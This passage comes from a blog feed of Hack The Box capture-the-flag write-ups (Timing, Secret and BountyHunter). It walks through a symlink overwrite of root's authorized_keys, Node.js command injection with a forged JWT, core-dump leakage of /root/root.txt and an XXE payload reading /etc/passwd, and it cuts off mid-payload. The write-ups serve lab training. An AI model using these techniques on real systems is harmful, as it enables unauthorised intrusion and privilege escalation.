&lt;p&gt;i found another password  in git logs folders by using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git log -p&lt;/code&gt; command lets try this password
if you dont know how to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git logs &lt;/code&gt; check this &lt;a href=&quot;https://git-scm.com/docs/git-log&quot;&gt;this&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/171456400-9eb77534-274a-4510-8f43-3a96f1f7c63f.png&quot; alt=&quot;9&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/171457875-772b477b-2a34-4271-bfdb-b819410a450f.png&quot; alt=&quot;10&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;root-flag&quot;&gt;Root flag&lt;/h3&gt;

&lt;p&gt;by checking sudo&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Matching Defaults entries for aaron on timing:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User aaron may run the following commands on timing:
    (ALL) NOPASSWD: /usr/bin/netutils


&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;lets run this binary&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/171492490-f0907132-dc5d-485d-a5a7-a680f7eba024.png&quot; alt=&quot;12&quot; /&gt;&lt;/p&gt;

&lt;p&gt;its a binary you can download file to machine with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root&lt;/code&gt; permissions.
for trying, i downloaded test python file on the server.&lt;/p&gt;

&lt;p&gt;…\Exploit…..
In fact, I’ve encountered such an idea before&lt;/p&gt;

&lt;h3 id=&quot;symbolic-link&quot;&gt;Symbolic link:&lt;/h3&gt;
&lt;p&gt;is a file-system object that points to another file system object. The object being pointed to is called the target.&lt;/p&gt;

&lt;p&gt;so i will make Symbolic link for ssh key and overwrite authorized_key (Generate SSH Keys use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssh-keygen&lt;/code&gt; command).&lt;/p&gt;

&lt;p&gt;i will use this binary to upload ssh key to server but it should name the same name of symbol linked to overwrite.
`ln -s source_file symbolic_link&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/171502770-4c458c06-e13b-419a-bde4-8807f296f4c2.png&quot; alt=&quot;13&quot; /&gt;
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/171502771-3ce32a8b-c1c4-49ae-b198-046c512cd978.png&quot; alt=&quot;14&quot; /&gt;
i
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/171504297-9310e428-aedd-4925-815e-e9809e218f75.png&quot; alt=&quot;16&quot; /&gt;&lt;/p&gt;</content><author><name></name></author><summary type="html">Hack The Box - Timing</summary></entry><entry><title type="html">Secret</title><link href="https://python4004.github.io/secret" rel="alternate" type="text/html" title="Secret" /><published>2022-03-22T00:00:00+00:00</published><updated>2022-03-22T00:00:00+00:00</updated><id>https://python4004.github.io/Secret</id><content type="html" xml:base="https://python4004.github.io/secret">&lt;h1 id=&quot;hack-the-box---secret&quot;&gt;Hack The Box - Secret&lt;/h1&gt;

&lt;p&gt;&lt;img width=&quot;237&quot; alt=&quot;sec&quot; src=&quot;https://user-images.githubusercontent.com/36403473/157329286-b8064943-e270-4533-83f5-91a89ee16492.png&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;this-is-my-writeup-and-walkthrough-for-secret-machine--from-hack-the-box&quot;&gt;This is my Writeup and walkthrough for Secret machine  from Hack The Box.&lt;/h2&gt;

&lt;h3 id=&quot;description-&quot;&gt;description :&lt;/h3&gt;

&lt;p&gt;1- Source code review (nodejs)&lt;/p&gt;

&lt;p&gt;2- JWT token&lt;/p&gt;

&lt;p&gt;3- GIT LOGS&lt;/p&gt;

&lt;p&gt;4- COREDUMP&lt;/p&gt;

&lt;p&gt;This machine not very easy  so please read carefully&lt;/p&gt;
&lt;h4 id=&quot;1-nmap&quot;&gt;1-Nmap&lt;/h4&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -sC -sV -P 10.10.11.120
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-01 09:33 EET
Nmap scan report for 10.10.11.120
Host is up (0.20s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  http    Node.js (Express middleware)


&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;user-access&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;User access&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;i noticed that port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;3000&lt;/code&gt; is opened for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Node.js&lt;/code&gt; okey let’s explore port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;80&lt;/code&gt; .&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/156873493-9e112bdf-2483-43bd-bf1e-22e44ca3b428.png&quot; alt=&quot;1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So i downloaded the source code,now let’s dig in it the code so i will stop enum website and explore code first.&lt;/p&gt;

&lt;p&gt;in this period my brain focus on way to find &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RCE&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;i found 4 important files in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;node&lt;/code&gt; folder one of them&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;private.js&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;router.get('/priv', verifytoken, (req, res) =&amp;gt; {
   // res.send(req.user)

    const userinfo = { name: req.user }

    const name = userinfo.name.name;
    
    if (name == 'theadmin'){
        res.json({
            creds:{
                role:&quot;admin&quot;, 
                username:&quot;theadmin&quot;,
                desc : &quot;welcome back admin,&quot;
            }
        })
    }
    else{
        res.json({
            role: {
                role: &quot;you are normal user&quot;,
                desc: userinfo.name.name
            }
        })
    }
})


router.get('/logs', verifytoken, (req, res) =&amp;gt; {
    const file = req.query.file;
    const userinfo = { name: req.user }
    const name = userinfo.name.name;
    
    if (name == 'theadmin'){
        const getLogs = `git log --oneline ${file}`;
        exec(getLogs, (err , output) =&amp;gt;{
            if(err){
                res.status(500).send(err);
                return
            }
            res.json(output);
        })
    }
    else{
        res.json({
            role: {
                role: &quot;you are normal user&quot;,
                desc: userinfo.name.name
            }
        })
    }
})

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;lets-explain-our-code&quot;&gt;let’s explain our code&lt;/h2&gt;

&lt;h4 id=&quot;1--route-to-priv-we-found-that-code-only-check-on-the-name-parameter-that--name-theadmin&quot;&gt;1- route to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/priv&lt;/code&gt; we found that code only check on the name parameter that  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name ==theadmin&lt;/code&gt;.&lt;/h4&gt;

&lt;h4 id=&quot;2--route-log-execgetlogs-err--output-here-we-got-rce--that-took-file--and-executed&quot;&gt;2- route &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/log/&lt;/code&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exec(getLogs, (err , output)&lt;/code&gt; here we got &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RCE&lt;/code&gt;  that took &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;${file}&lt;/code&gt;  and executed.&lt;/h4&gt;

&lt;p&gt;so that line was the mistake mistake that  the developer made&lt;/p&gt;

&lt;p&gt;now let’s make our exploit but first we need to be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Authenticated&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Authorized&lt;/code&gt;.&lt;/p&gt;

&lt;h4 id=&quot;steps--to-be-authenticated&quot;&gt;STEPS  To be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;authenticated&lt;/code&gt;:&lt;/h4&gt;

&lt;p&gt;we need to create an account and get &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jwt&lt;/code&gt; token .&lt;/p&gt;

&lt;p&gt;so let’s send &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST&lt;/code&gt; request to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;register&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;what we need to create an account ????&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    //create a user 
    const user = new User({
        name: req.body.name,
        email: req.body.email,
        password:hashPaswrod
    });

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;so we need to post (name&amp;amp;email&amp;amp;password) in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;json&lt;/code&gt; format&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/156898976-4fb2249b-202e-410c-b082-695e872e6b39.png&quot; alt=&quot;999&quot; /&gt;&lt;/p&gt;

&lt;p&gt;let’s go to login page to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sign in&lt;/code&gt; and finally got &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jwt&lt;/code&gt; token&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjIzYjg5YTI3YzdlYzA0NTliMTkzNTEiLCJuYW1lIjoicHl0aG9uNDA0IiwiZW1haWwiOiJweXRob240MDRAem90ZS5jb20iLCJpYXQiOjE2NDY1MTIxMjV9.CgDdDke1S_4LcMxvGrcPSXphngv3Dtp20ovNTP8Rcx8

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now I am authenticated&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/156899116-5355330f-73fb-44ed-b205-264aa84b2b6c.png&quot; alt=&quot;net&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;steps-to-be-authorized-&quot;&gt;STEPS to be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;authorized&lt;/code&gt; :&lt;/h4&gt;

&lt;p&gt;so my mind go on changing the name in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jwt token&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;the admin&lt;/code&gt; but i need to find &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;secret token&lt;/code&gt; first.&lt;/p&gt;

&lt;p&gt;this secret token i found it in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git logs &lt;/code&gt; folders by using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git log -p&lt;/code&gt; command&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/156900090-3aa990fc-7bd1-46e3-8a1e-0b9c2467a610.png&quot; alt=&quot;net2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/156901422-7191c472-cdc3-4fd5-ac36-15832ee06b0b.png&quot; alt=&quot;nnn&quot; /&gt;&lt;/p&gt;

&lt;p&gt;let’s try to access &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/logs&lt;/code&gt; that can’t any non authorized user to access by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;theadmin&lt;/code&gt; user jwt token add with our revese shell&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/156901616-0bbf3409-dbda-4d71-84c6-e52863ff7bc2.png&quot; alt=&quot;mmic&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/156901731-961653f6-dbff-47ff-a3ab-6e38e4af3b15.png&quot; alt=&quot;nr&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;root-access&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ROOT ACCESS&lt;/code&gt;&lt;/h3&gt;

&lt;p&gt;now we have an intial access let’s start chapter.&lt;/p&gt;

&lt;p&gt;before of all i usually  i check sudo writes by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo -l&lt;/code&gt; but now thing is interest ,one of my enumeration our many pentester to use script like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;linpeas&lt;/code&gt; to enum server but let make it last try.&lt;/p&gt;

&lt;p&gt;after some time i found a binary file in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/opt/&lt;/code&gt; directory with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root&lt;/code&gt; rights with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c &lt;/code&gt;code file&lt;/p&gt;

&lt;h3 id=&quot;lets-check-this-code&quot;&gt;let’s check this code&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;dirent.h&amp;gt;
#include &amp;lt;sys/prctl.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;sys/stat.h&amp;gt;
#include &amp;lt;linux/limits.h&amp;gt;

void dircount(const char *path, char *summary)
{
    DIR *dir;
    char fullpath[PATH_MAX];
    struct dirent *ent;
    struct stat fstat;

    int tot = 0, regular_files = 0, directories = 0, symlinks = 0;

    if((dir = opendir(path)) == NULL)
    {
        printf(&quot;\nUnable to open directory.\n&quot;);
        exit(EXIT_FAILURE);
    }
    while ((ent = readdir(dir)) != NULL)
    {
        ++tot;
        strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);
        strcat(fullpath, &quot;/&quot;);
        strncat(fullpath, ent-&amp;gt;d_name, strlen(ent-&amp;gt;d_name));
        if (!lstat(fullpath, &amp;amp;fstat))
        {
            if(S_ISDIR(fstat.st_mode))
            {
                printf(&quot;d&quot;);
                ++directories;
            }
            else if(S_ISLNK(fstat.st_mode))
            {
                printf(&quot;l&quot;);
                ++symlinks;
            }
            else if(S_ISREG(fstat.st_mode))
            {
                printf(&quot;-&quot;);
                ++regular_files;
            }
            else printf(&quot;?&quot;);
            printf((fstat.st_mode &amp;amp; S_IRUSR) ? &quot;r&quot; : &quot;-&quot;);
            printf((fstat.st_mode &amp;amp; S_IWUSR) ? &quot;w&quot; : &quot;-&quot;);
            printf((fstat.st_mode &amp;amp; S_IXUSR) ? &quot;x&quot; : &quot;-&quot;);
            printf((fstat.st_mode &amp;amp; S_IRGRP) ? &quot;r&quot; : &quot;-&quot;);
            printf((fstat.st_mode &amp;amp; S_IWGRP) ? &quot;w&quot; : &quot;-&quot;);
            printf((fstat.st_mode &amp;amp; S_IXGRP) ? &quot;x&quot; : &quot;-&quot;);
            printf((fstat.st_mode &amp;amp; S_IROTH) ? &quot;r&quot; : &quot;-&quot;);
            printf((fstat.st_mode &amp;amp; S_IWOTH) ? &quot;w&quot; : &quot;-&quot;);
            printf((fstat.st_mode &amp;amp; S_IXOTH) ? &quot;x&quot; : &quot;-&quot;);
        }
        else
        {
            printf(&quot;??????????&quot;);
        }
        printf (&quot;\t%s\n&quot;, ent-&amp;gt;d_name);
    }
    closedir(dir);

    snprintf(summary, 4096, &quot;Total entries       = %d\nRegular files       = %d\nDirectories         = %d\nSymbolic links      = %d\n&quot;, tot, regular_files, directories, symlinks);
    printf(&quot;\n%s&quot;, summary);
}


void filecount(const char *path, char *summary)
{
    FILE *file;
    char ch;
    int characters, words, lines;

    file = fopen(path, &quot;r&quot;);

    if (file == NULL)
    {
        printf(&quot;\nUnable to open file.\n&quot;);
        printf(&quot;Please check if file exists and you have read privilege.\n&quot;);
        exit(EXIT_FAILURE);
    }

    characters = words = lines = 0;
    while ((ch = fgetc(file)) != EOF)
    {
        characters++;
        if (ch == '\n' || ch == '\0')
            lines++;
        if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')
            words++;
    }

    if (characters &amp;gt; 0)
    {
        words++;
        lines++;
    }

    snprintf(summary, 256, &quot;Total characters = %d\nTotal words      = %d\nTotal lines      = %d\n&quot;, characters, words, lines);
    printf(&quot;\n%s&quot;, summary);
}


int main()
{
    char path[100];
    int res;
    struct stat path_s;
    char summary[4096];

    printf(&quot;Enter source file/directory name: &quot;);
    scanf(&quot;%99s&quot;, path);
    getchar();
    stat(path, &amp;amp;path_s);
    if(S_ISDIR(path_s.st_mode))
        dircount(path, summary);
    else
        filecount(path, summary);

    // drop privs to limit file write
    setuid(getuid());
    // Enable coredump generation
    prctl(PR_SET_DUMPABLE, 1);
    printf(&quot;Save results a file? [y/N]: &quot;);
    res = getchar();
    if (res == 121 || res == 89) {
        printf(&quot;Path: &quot;);
        scanf(&quot;%99s&quot;, path);
        FILE *fp = fopen(path, &quot;a&quot;);
        if (fp != NULL) {
            fputs(summary, fp);
            fclose(fp);
        } else {
            printf(&quot;Could not open %s for writing\n&quot;, path);
        }
    }

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;core-dump&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Core Dump&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;After analysing:&lt;/p&gt;

&lt;p&gt;this code take an file and give us information about&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Total characters  
Total words       
Total lines 

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;there is an interesting line :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;// Enable coredump generation
    
 prctl(PR_SET_DUMPABLE, 1);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;What is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CORE DUMP&lt;/code&gt; ??&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A core dump consists of the recorded state of the working memory of a computer program at a specific time, generally when the program has terminated abnormally (crashed). Core dumps are often used to assist in diagnosing and debugging errors in computer programs.&lt;/p&gt;

&lt;p&gt;A core dump file was found in this directory. The content of core dump files are highly sensitive as they contain the extact contents of the working memory including credentials, user data and so on.&lt;/p&gt;

&lt;p&gt;for more details check wiki &lt;a href=&quot;https://en.wikipedia.org/wiki/Core_dump&quot;&gt;coredump&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;for more details about &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;coredump&lt;/code&gt; attack this juicy report &lt;a href=&quot;https://alephsecurity.com/2021/10/20/sudump&quot;&gt;exploit&lt;/a&gt;&lt;/p&gt;

&lt;h4 id=&quot;what-we-can-do-and-how-exploit-occur-&quot;&gt;what we can do and how exploit occur ????&lt;/h4&gt;
&lt;p&gt;To generate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;core dump&lt;/code&gt; file we need program to be crashed but how!!&lt;/p&gt;

&lt;p&gt;an easy way we need to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;linux signals&lt;/code&gt; : (if you dont linux signals check this bro &lt;a href=&quot;https://www.educative.io/edpresso/what-are-linux-signals&quot;&gt;linux signals&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;we will open another tab and use&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; kill -SIGKILL PID&lt;/code&gt; command to kill process of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;count&lt;/code&gt; program.&lt;/p&gt;

&lt;p&gt;let’s find the ID of process by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ps -aux&lt;/code&gt; command&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/159387921-2326f877-c914-471f-bd1f-85e6ab1b4820.png&quot; alt=&quot;1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;before killing process i will make program read &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/root/root.txt&lt;/code&gt; and crash.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/159388713-569c4290-adaf-49a6-868b-2f1a04531171.png&quot; alt=&quot;2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;now let’s see what is happened in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;core dump&lt;/code&gt; file&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/159388718-b842aa8d-d9d0-4e61-aae2-901cb571d9e3.png&quot; alt=&quot;3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strings&lt;/code&gt; command to make file simple&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/159388719-4308994d-bd7a-4273-bfdf-dd2d27ab4ba6.png&quot; alt=&quot;4&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I wish you to be happy to read my report .&lt;/p&gt;

&lt;p&gt;……………………………………………………………………….&lt;/p&gt;</content><author><name></name></author><summary type="html">Hack The Box - Secret</summary></entry><entry><title type="html">Bountyhunter</title><link href="https://python4004.github.io/bountyhunter" rel="alternate" type="text/html" title="Bountyhunter" /><published>2021-11-18T00:00:00+00:00</published><updated>2021-11-18T00:00:00+00:00</updated><id>https://python4004.github.io/BountyHunter</id><content type="html" xml:base="https://python4004.github.io/bountyhunter">&lt;h1 id=&quot;hack-the-box---bountyhunter&quot;&gt;Hack The Box - BountyHunter&lt;/h1&gt;

&lt;h2 id=&quot;this-is-my-writeup-and-walkthrough-for-bountyhunter-machine--from-hack-the-box&quot;&gt;This is my Writeup and walkthrough for BountyHunter machine  from Hack The Box.&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/137606272-577870e0-1b1f-44ee-86cf-046a5988d6a0.png&quot; alt=&quot;htb-bountyhunter&quot; /&gt;&lt;/p&gt;
&lt;h2 id=&quot;enumeration&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Enumeration&lt;/code&gt;&lt;/h2&gt;

&lt;h4 id=&quot;1-nmap&quot;&gt;1-Nmap&lt;/h4&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -sC -sV -Pn 10.10.11.100
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-16 22:13 EET
Nmap scan report for 10.10.11.100
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;user-access&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;User access&lt;/code&gt;&lt;/h2&gt;

&lt;h4 id=&quot;2--http-service&quot;&gt;2- HTTP service&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/137603151-2db01eea-e091-4985-9781-6e9d032001ef.png&quot; alt=&quot;screen1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;hh don’t worry i will use burp😂😂&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;okey my methodology to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;know what is this product do &lt;/code&gt; and i got that this platform for bug bounty okay let’s brute force directories to see what is important so i usually use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dirsearch&lt;/code&gt; for Quick  bruteforce&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/137603143-e9940b1a-a1e9-497c-b49e-45d5643621fd.png&quot; alt=&quot;screen2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;lets check &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/resources/&lt;/code&gt; directory&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/137603536-1b20f1ca-87b6-4d89-be54-99ca3f778baa.png&quot; alt=&quot;screen3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;by checking &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bountylog.js&lt;/code&gt; it seems a juicy file 
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/137603145-57cda49b-1751-4183-a913-2664bd15b48a.png&quot; alt=&quot;screen4&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;now lets analyze this piece of code:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;we notic the data is sent to server  in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data&lt;/code&gt; parameter in &lt;strong&gt;xml&lt;/strong&gt; format so it seems &lt;strong&gt;xml injection&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;so lets visit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tracker_diRbPr00f314.php&lt;/code&gt;
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/137603146-d04cd586-f889-4833-9a2d-a5b4bda3ca21.png&quot; alt=&quot;screen5&quot; /&gt;&lt;/p&gt;

&lt;p&gt;its include i think data that send to server lets open &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;burpsuite&lt;/code&gt; to check request&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/137604952-ee8822db-86be-45c4-9562-c1b17c212286.png&quot; alt=&quot;screen9&quot; /&gt;&lt;/p&gt;

&lt;p&gt;very good this include data about your submission like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bug-bounty submission&lt;/code&gt; dont forget this is bug-bounty platform 🧐🧐&lt;/p&gt;

&lt;p&gt;we will add &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data&lt;/code&gt; parameter  to request and send xml injection to try to read &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/passwd&lt;/code&gt; file&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;?xml  version=&quot;1.0&quot; encoding=&quot;ISO-8859-1&quot;?&amp;gt;
&amp;lt;!DOCTYPE foo [ &amp;lt;!ENTITY xxe SYSTEM &quot;file:///etc/passwd&quot;&amp;gt; ]&amp;gt;
		&amp;lt;bugreport&amp;gt;
		&amp;lt;title&amp;gt;&amp;amp;xxe;&amp;lt;/title&amp;gt;
		&amp;lt;cwe&amp;gt;kajskdajd&amp;lt;/cwe&amp;gt;
		&amp;lt;cvss&amp;gt;8787&amp;lt;/cvss&amp;gt;
